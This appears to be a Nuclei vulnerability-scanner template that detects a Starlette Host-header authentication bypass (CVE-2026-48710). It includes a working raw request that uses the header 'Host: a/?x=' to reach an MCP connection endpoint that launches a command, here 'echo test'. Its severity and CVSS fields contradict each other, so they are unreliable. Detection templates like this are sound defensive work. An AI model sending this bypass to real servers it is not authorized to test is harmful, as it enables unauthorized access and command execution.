id: CVE-2026-48710 info: name: Starlette - Improper Validation of Unsafe Equivalence in Input author: ritikchaddha severity: critical description: | A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions. impact: | A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions. remediation: | Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass. reference: - https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr - https://nvd.nist.gov/vuln/detail/CVE-2026-48710 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N cvss-score: 6.5 cve-id: CVE-2026-48710 epss-score: 0.01839 epss-percentile: 0.76726 cwe-id: CWE-1289 metadata: max-request: 2 vendor: Kludex product: starlette shodan-query: http.html:"starlette" fofa-query: body="starlette" tags: cve,cve2026,starlette,auth-bypass,badhost flow: http(1) && http(2) http: - raw: - | POST /mcp-rest/test/connection HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"transport":"stdio","command":"echo","args":["test"]} matchers: - type: dsl dsl: - 'status_code == 401' - 'contains_any(body, "auth_error", "Authentication Error")' condition: and internal: true - raw: - | POST /mcp-rest/test/connection HTTP/1.1 Host: a/?x= Content-Type: application/json Content-Length: 54 {"transport":"stdio","command":"echo","args":["test"]} unsafe: true matchers-condition: and matchers: - type: word words: - "Failed to connect to MCP server" - "status" condition: and - type: status status: - 200 # digest: 4a0a0047304502207bbc7078d2526f15b1ca53fb4afc44732c34059b120738ce47a4aceebb2a20130221009475f0028e16ae4e363e6235982619c48916e98e1f7e38e4f1488cddd506cde0:922c64590222798bb761d5b6d8e72950